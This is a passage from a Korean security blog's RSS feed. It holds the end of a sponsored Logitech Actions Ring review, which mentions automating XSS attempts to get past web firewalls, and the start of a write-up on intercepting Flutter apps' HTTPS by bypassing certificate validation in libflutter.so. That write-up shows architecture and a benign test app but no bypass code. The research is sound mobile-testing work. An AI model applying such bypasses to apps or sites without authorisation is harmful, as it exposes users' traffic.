&lt;p data-ke-size=&quot;size16&quot;&gt;1. 애플리케이션 열기(Proxy도구, 디컴파일러, Logcat 뷰어, 단말 파일탐색기, AndroidStudio 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 폴더 열기(작업 파일이 저장된 경로 파일탐색기로 실행)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 실행(단말에서 Frida-Server를 실행시키는 파이썬 스크립트 실행)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팁1) 제시한 설정 말고도 키보드 입력(키스트로크 재생), 시스템 액션, 딜레이(지연)를 순서대로 붙여 실행할 수 있습니다. 템플릿으로 시작해서 빠르게 커스터마이즈할 수도 있고, 내가 지정한 액션의 Export/Import도 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팁2) 프록시 도구(Burp Suite)에서 사용하고 있는 중인데, 문자열 드래그 후 액션 링 버블을 눌러 &quot;복사&amp;rarr;디코드&amp;rarr;클립보드 재삽입&quot;과 같은 플로우를 지정해두면, XSS 페이로드 적용할 때 웹방화벽 우회 시도를 위한 단순 반복 작업을 줄일 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqUJJK/dJMcaajgrdc/FkodrVxkTqxnLdxaqEdhQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqUJJK/dJMcaajgrdc/FkodrVxkTqxnLdxaqEdhQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqUJJK/dJMcaajgrdc/FkodrVxkTqxnLdxaqEdhQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqUJJK%2FdJMcaajgrdc%2FFkodrVxkTqxnLdxaqEdhQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;528&quot; height=&quot;226&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팁3) 운영체제 스크립트 실행이 가능합니다. 시스템 액션에 Windows의 경우 .bat/.cmd/.ps1 배치스크립트를 작성하고 트리거로 연결해둘 수 있습니다. Mac의 경우에는 애플스크립트 또는 .sh를 사용할 수 있겠으나 OS 종속성을 피하려면 파이썬 같은 스크립트 언어로 코딩한 다음 호출하는 것이 간편합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;LLM과 결합한 활용 - 일정 및 할일 관리(AI 프롬프트를 &quot;버튼&quot;으로)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LLM을 자주 사용하시는 분이라면 Logi AI Prompt Builder도 유용합니다. 마찬가지로 액션링에 매핑해두고 사용할 수 있습니다. 간단한 질문은 바로 물어볼 수 있다는 장점이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한번 더 나아가서 LLM 에이전트 브라우저를 사용하시는 분이라면 이런 설정도 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 자주사용하는 프롬프트입니다. 반복적으로 사용하고 있는 프롬프트가 있다면, 문자열을 그대로 액션링에 저장해두고 클릭할 때 질문까지 수행하도록 할 수 있습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;ldquo;내 Gmail에서 최근 일주일 수신 메일을 분석해 캘린더 등록이 필요한 항목은 일정 생성, 마감일/응답이 필요한 건은 Todoist 보관함에 할 일 생성.&amp;rdquo;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;최근 대한민국 정보보안 뉴스 목록 수집. 최근 보안 이슈, 보안사고 사례, 최근 보안 동향 수집하여 10건 내외로 정리.&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2025-10-29_20-58-30.gif&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMw6AC/dJMcaesqPtq/Pu7RgWBRQ3pFXbIHLnsiwk/img.gif&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMw6AC/dJMcaesqPtq/Pu7RgWBRQ3pFXbIHLnsiwk/img.gif&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMw6AC/dJMcaesqPtq/Pu7RgWBRQ3pFXbIHLnsiwk/img.gif&quot; srcset=&quot;https://blog.kakaocdn.net/dn/cMw6AC/dJMcaesqPtq/Pu7RgWBRQ3pFXbIHLnsiwk/img.gif&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;552&quot; height=&quot;572&quot; data-filename=&quot;2025-10-29_20-58-30.gif&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;마무리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마우스 커서를 따라다니며 나타나는 액션링은 이동과 창 전환을 최소화할 수 있어 효율적입니다. 단순 반복되는 작업을 자동화할 수 있고, 나름 커스터마이징 하는 재미도 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 액션 지정과 관련해서 조건문이나 반복문 같은 제어 흐름을 구성할 수 없다는 점이 아쉽습니다. 단순 반복 입력이 필요한 부분에 활용한다거나 '화면 잠금방지'가 필요할 때 사용할 수 있다면 좋을 것 같습니다. 또한 클립보드 관련 작업 시 특수키 입력이 함께 저장되는 이슈가 가끔 발생했는데, 삭제 후 재입력시 해결되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무엇보다 확장성이 가장 큰 매력인 것 같습니다. 지금보다 앞으로가 더 기대되는 액션링입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;i&gt;Logitech에서 제품을 제공받아 직접 작성한 글입니다.&lt;/i&gt;&lt;/blockquote&gt;</description>
      <category>Review</category>
      <category>ActionsRing챌린지</category>
      <category>MX MASTERS</category>
      <category>MX커뮤니티</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/303</guid>
      <comments>https://gomguk.tistory.com/303#entry303comment</comments>
      <pubDate>Wed, 29 Oct 2025 21:14:10 +0900</pubDate>
    </item>
    <item>
      <title>Flutter HTTPS 통신 Intercept 위한 로직 분석</title>
      <link>https://gomguk.tistory.com/302</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 연구 배경&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1.1 서론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flutter 애플리케이션의 네트워크 통신을 분석하고 디버깅하기 위해서는 HTTPS 트래픽을 intercept할 수 있어야 한다. 하지만 일반적으로 사용했던 Burp CA 시스템 경로 로드 방식으로 intercept가 동작하지 않는다. 이 포스팅에서는 Flutter로 개발된 앱에서 HTTPS 통신을 가로채는 방법과 그 원리를 심층 분석한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1.2 연구 동기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;개발/디버깅 필요성&lt;/b&gt;: API 통신 내용 확인, 에러 디버깅&lt;/li&gt;
&lt;li&gt;&lt;b&gt;테스트 환경 구축&lt;/b&gt;: Mock 서버 연동, 네트워크 시나리오 테스트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안 분석&lt;/b&gt;: 앱의 보안 취약점 점검, 데이터 전송 검증&lt;/li&gt;
&lt;li&gt;&lt;b&gt;역공학/분석&lt;/b&gt;: 기존 앱의 통신 프로토콜 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1.3 Flutter HTTPS 통신의 특징&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flutter는 모바일 애플리케이션을 진단할 때 일반적인 네이티브 앱과 다른 특성을 보인다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Dart의 &lt;code&gt;HttpClient&lt;/code&gt; 기반 네트워크 통신&lt;/li&gt;
&lt;li&gt;기본적으로 Certificate Pinning 미적용&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dart:io&lt;/code&gt; 라이브러리를 통한 저수준 제어 가능&lt;/li&gt;
&lt;li&gt;iOS/Android 플랫폼별 네트워크 스택 차이&lt;/li&gt;
&lt;li&gt;시스템 CA 인증서 저장소를 우회할 수 있는 구조&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 특성으로 인해 기존의 Burp Suite CA 인증서를 시스템에 설치하는 방식만으로는 HTTPS 트래픽 intercept가 어렵다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 문제 파악: 왜 Flutter 앱은 Intercept가 어려운가?&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1 네이티브 앱 vs Flutter 앱: 아키텍처 비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자는 네이티브 Android 앱과 Flutter 앱에서 동일한 HTTPS 통신 기능을 구현할 수 있다. 하지만 플랫폼에 따라 intercept 성공 여부가 달라지는 이유는 &lt;b&gt;내부 구조의 근본적인 차이&lt;/b&gt; 때문이다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.1.1 네이티브 Android 앱의 네트워크 스택&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;[Java/Kotlin 앱 코드]
        &amp;darr;
[OkHttp / HttpURLConnection]
        &amp;darr;
[Android Framework]
        &amp;darr;
[System CA Store] &amp;larr; Burp CA 설치 위치
        &amp;darr;
[OpenSSL / BoringSSL]
        &amp;darr;
[Linux Kernel Network Stack]
        &amp;darr;
[Network Interface]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Android 시스템의 CA 인증서 저장소를 직접 사용&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/system/etc/security/cacerts/&lt;/code&gt; 또는 사용자 CA 저장소 참조&lt;/li&gt;
&lt;li&gt;Burp Suite CA를 시스템에 설치하면 앱이 이를 신뢰&lt;/li&gt;
&lt;li&gt;따라서 &lt;b&gt;프록시 intercept가 정상 동작&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.1.2 Flutter 앱의 네트워크 스택&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;[Dart 앱 코드]
        &amp;darr;
[http package / dio]
        &amp;darr;
[dart:io HttpClient]
        &amp;darr;
[Dart VM (libflutter.so 내장)] &amp;larr; 독립적인 SSL/TLS 구현
        &amp;darr;
[Flutter Engine (C++)]
        &amp;darr;
[BoringSSL (자체 번들)]
        &amp;darr;
[Platform Channel] (필요시)
        &amp;darr;
[Native Network Stack]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flutter Engine이 자체 SSL/TLS 스택 보유&lt;/li&gt;
&lt;li&gt;Android 시스템 CA 저장소를 &lt;b&gt;우회 가능&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Dart VM에 내장된 인증서 검증 로직 사용&lt;/li&gt;
&lt;li&gt;Burp CA를 시스템에 설치해도 Flutter Engine이 이를 &lt;b&gt;무시할 수 있음&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;따라서 &lt;b&gt;기본 방식으로는 intercept 실패&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2 Flutter Engine의 역할&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flutter는 &lt;b&gt;크로스플랫폼 프레임워크&lt;/b&gt;로, Android와 iOS 모두에서 동작해야 한다. 이를 위해 플랫폼 독립적인 통합 계층이 필요하며, 이것이 바로 &lt;b&gt;Flutter Engine&lt;/b&gt;이다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.2.1 Flutter Engine의 구성&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;언어&lt;/b&gt;: 대부분 C++로 작성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;위치&lt;/b&gt;: Android APK 내부의 &lt;code&gt;lib/[arch]/libflutter.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;크기&lt;/b&gt;: 약 8~12MB (architecture별 상이)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Dart 코드 실행을 위한 Dart VM 포함&lt;/li&gt;
&lt;li&gt;렌더링 엔진 (Skia)&lt;/li&gt;
&lt;li&gt;플랫폼별 추상화 계층&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네트워크 통신 및 SSL/TLS 처리&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.2.2 libflutter.so에 포함된 주요 기능&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Dart VM (간소화된 버전)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Dart 코드의 JIT/AOT 컴파일 및 실행&lt;/li&gt;
&lt;li&gt;메모리 관리 및 가비지 컬렉션&lt;/li&gt;
&lt;li&gt;Isolate 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네트워크 기능&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTTP/HTTPS 클라이언트 구현&lt;/li&gt;
&lt;li&gt;SSL/TLS Handshake 처리&lt;/li&gt;
&lt;li&gt;인증서 검증 로직&lt;/li&gt;
&lt;li&gt;Certificate Pinning 지원 (구현 시)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;암호화 라이브러리&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;BoringSSL (Google의 OpenSSL fork) 번들&lt;/li&gt;
&lt;li&gt;자체 CA 인증서 저장소 (필요시)&lt;/li&gt;
&lt;li&gt;암호화/복호화 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;플랫폼 인터페이스&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Platform Channels&lt;/li&gt;
&lt;li&gt;네이티브 코드와의 통신&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.3 SSL/TLS 인증서 검증 과정의 차이&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;네이티브 Android 앱&lt;/h4&gt;
&lt;pre class=&quot;crystal&quot;&gt;&lt;code&gt;// Android 네이티브 코드
HttpsURLConnection connection = 
    (HttpsURLConnection) url.openConnection();

// 시스템 CA 저장소 자동 사용
// /system/etc/security/cacerts/ 참조
connection.connect();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 시스템에 설치된 Burp CA를 &lt;b&gt;자동으로 신뢰&lt;/b&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Flutter 앱&lt;/h4&gt;
&lt;pre class=&quot;dart&quot;&gt;&lt;code&gt;// Flutter/Dart 코드
final response = await http.get(
  Uri.parse('https://example.com')
);

// 내부적으로:
// 1. dart:io HttpClient 호출
// 2. libflutter.so의 SSL 구현 사용
// 3. 자체 인증서 검증 (시스템 CA 우회 가능)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 시스템 CA와 &lt;b&gt;독립적으로 검증&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.4 왜 Flutter는 이런 구조를 선택했는가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 크로스플랫폼 일관성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;iOS와 Android에서 동일한 네트워크 동작 보장&lt;/li&gt;
&lt;li&gt;플랫폼별 차이로 인한 버그 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 성능 최적화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JNI/Platform Channel 호출 오버헤드 감소&lt;/li&gt;
&lt;li&gt;C++로 작성된 고성능 네트워크 스택&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 보안 제어&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Certificate Pinning 등 고급 보안 기능 구현 용이&lt;/li&gt;
&lt;li&gt;플랫폼 제약 없이 보안 정책 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 독립성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Android/iOS 시스템 업데이트에 영향 받지 않음&lt;/li&gt;
&lt;li&gt;일관된 TLS 버전 및 암호 스위트 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.5 핵심 문제 요약&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;┌─────────────────────────────────────┐
│   네이티브 Android 앱               │
├─────────────────────────────────────┤
│  System CA에 Burp 추가 &amp;rarr; 성공 ✓    │
└─────────────────────────────────────┘

┌─────────────────────────────────────┐
│   Flutter 앱                        │
├─────────────────────────────────────┤
│  System CA에 Burp 추가 &amp;rarr; 실패 ✗    │
│  (libflutter.so가 독립 검증)        │
└─────────────────────────────────────┘&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론:&lt;/b&gt;&lt;br /&gt;Flutter 앱의 HTTPS intercept를 위해서는 &lt;b&gt;libflutter.so 내부의 인증서 검증 로직을 우회&lt;/b&gt;하거나, &lt;b&gt;Dart 코드 레벨에서 검증을 무력화&lt;/b&gt;해야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 테스트 앱 개발&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1 테스트 앱 개요&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 연구를 위해 HTTPS 통신을 수행하는 간단한 Flutter 앱을 개발했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/PeanutKingPeanut/flutter-https-sample-app&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/PeanutKingPeanut/flutter-https-sample-app&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760261255206&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - PeanutKingPeanut/flutter-https-sample-app&quot; data-og-description=&quot;Contribute to PeanutKingPeanut/flutter-https-sample-app development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/PeanutKingPeanut/flutter-https-sample-app&quot; data-og-url=&quot;https://github.com/PeanutKingPeanut/flutter-https-sample-app&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bhQaC0/hyZKhuFN8W/acj3KrK23sZ7zSRsZFODc1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bvwRyz/hyZLvY464n/vbN4oawog1GztJq6gZ9P00/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/PeanutKingPeanut/flutter-https-sample-app&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/PeanutKingPeanut/flutter-https-sample-app&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bhQaC0/hyZKhuFN8W/acj3KrK23sZ7zSRsZFODc1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bvwRyz/hyZLvY464n/vbN4oawog1GztJq6gZ9P00/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - PeanutKingPeanut/flutter-https-sample-app&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to PeanutKingPeanut/flutter-https-sample-app development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c05pZB/btsQ5Yjply9/qIhgGt8Aj6ClqnycHKbIck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c05pZB/btsQ5Yjply9/qIhgGt8Aj6ClqnycHKbIck/img.png&quot; data-origin-width=&quot;427&quot; data-origin-height=&quot;905&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.11&quot; width=&quot;221&quot; height=&quot;468&quot; style=&quot;width: 49.5311%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c05pZB/btsQ5Yjply9/qIhgGt8Aj6ClqnycHKbIck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc05pZB%2FbtsQ5Yjply9%2FqIhgGt8Aj6ClqnycHKbIck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;427&quot; height=&quot;905&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnaFqg/btsQ6RjJDCc/JDilopLeLmNRnGh0hiG9Gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnaFqg/btsQ6RjJDCc/JDilopLeLmNRnGh0hiG9Gk/img.png&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;907&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.89&quot; style=&quot;width: 49.3061%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnaFqg/btsQ6RjJDCc/JDilopLeLmNRnGh0hiG9Gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnaFqg%2FbtsQ6RjJDCc%2FJDilopLeLmNRnGh0hiG9Gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;426&quot; height=&quot;907&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;이름&lt;/b&gt;: HTTPS Intercept Test App&lt;/li&gt;
&lt;li&gt;&lt;b&gt;목적&lt;/b&gt;: Flutter HTTPS 통신 intercept 기법 검증&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API&lt;/b&gt;: JSONPlaceholder (공개 REST API)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;빌드 크기&lt;/b&gt;: 약 19.1MB (release APK)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;소스코드&lt;/b&gt;: &lt;code&gt;sample_app/&lt;/code&gt; 디렉토리&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2 주요 기능&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱은 세 가지 주요 HTTPS 통신 기능을 제공한다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) GET 요청 - 게시물 조회&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;엔드포인트: https://jsonplaceholder.typicode.com/posts/1
메서드: GET
응답: 단일 게시물의 ID, Title, Body 정보&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) POST 요청 - 게시물 생성&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;엔드포인트: https://jsonplaceholder.typicode.com/posts
메서드: POST
Content-Type: application/json
요청 본문:
{
  &quot;title&quot;: &quot;Flutter Test&quot;,
  &quot;body&quot;: &quot;HTTPS Intercept Test&quot;,
  &quot;userId&quot;: 1
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) GET 요청 - 사용자 목록 조회&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;엔드포인트: https://jsonplaceholder.typicode.com/users
메서드: GET
응답: 전체 사용자 목록 (앱에서는 최초 5명만 표시)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.3 앱 동작 구조&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3.1 아키텍처 다이어그램&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;[UI Layer]
   &amp;darr;
[State Management] (StatefulWidget)
   &amp;darr;
[HTTP Client] (http package)
   &amp;darr;
[Dart VM Network Stack]
   &amp;darr;
[Platform Channel] (Android/iOS)
   &amp;darr;
[Native Network Stack]
   &amp;darr;
[HTTPS/TLS Connection]&lt;/code&gt;&lt;/pre&gt;
